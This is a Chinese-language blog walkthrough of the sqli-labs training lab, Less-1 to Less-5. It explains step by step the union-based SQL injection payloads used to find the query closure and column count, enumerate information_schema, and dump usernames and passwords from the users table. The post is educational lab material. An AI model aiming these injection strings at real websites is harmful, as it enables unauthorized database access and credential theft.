sqli-labs

llz233發表於2024-11-16

sqli-labs

Less-1

基於錯誤的GET單引號字元型注入

index.php分析

  • error_reporting(0); 不反饋錯誤
  • isset($_GET['id']) 檢查($ _GET['id'])引數是否設定
  • LIMIT 0,1 從第一條開始記錄,只取一條記錄

1.推測閉合方式

?id=1\

輸入\ ,後面是' ,推測是單引號閉合

輸入 ?id=1' 報錯

輸入 ?id=1' --+ 不報錯

證明是單引號閉合

2.查詢列數(order by)

微信截圖_20241111215357

證明一共有3列

?id=1' order by 3 --+

3.瞭解顯示位(union select)

顯示位指的是網頁中能夠顯示資料的位置

已知表的列數為3,使用union select 1,2,3檢視顯示位

?id=-1' union select 1,2,3 --+

由此可知 2,3列是可以顯示的

4.查詢資料庫

查詢資料

  • database() 在用的資料庫名
  • user() 使用者資訊
  • version() 資料庫版本資訊
  • @@basedir 資料庫安裝路徑
  • @@version_compile_os 作業系統版本

?id=-1' union select 1,database(),user() --+

查詢出在用的資料庫名

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

查詢出所有資料庫名

  • information_schema資料庫是MySQL自帶的一個系統資料庫,主要用於儲存關於資料庫和表的後設資料資訊‌

  • information_schema資料庫的組成(主要的只讀表)

    schemata 資料庫名

    tables 表名和所屬資料庫

    columns 資料表中所有列名

  • group_concat()函式:將查詢到的多行結果連線成字串

5.查詢資料表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

information_schema.tables的欄位資訊:

  • table_catalog:資料表登記目錄
  • table_schema:資料表所屬的資料庫名
  • table_name:表名稱
  • table_type:表型別(如系統檢視或基礎表)
  • engine:使用的資料庫引擎(如 MyISAM、CSV、InnoDB)
  • version:版本,預設值為10
  • row_format:行格式(如 Compact、Dynamic、Fixed)

6.查詢列名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

7.查詢內容

?id=-1' union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+

Less-2

基於錯誤的GET整型注入

1.判斷閉合方式

2.判斷列數

3.檢視顯示位

4.查詢資料庫

5.查詢資料表

6.查詢列名

7.查詢資料

Less-3

基於錯誤的GET單引號變形注入

  • 表名,庫名要加引號
  • 查詢資料表時,後面要加where語句,表明在哪個資料庫中
  • 查詢列名時,where語句中,庫名和表名之間要加and

Less-4

基於錯誤的GET雙引號字元型注入

同上

Less-5

基於GET單引號雙注入

相關文章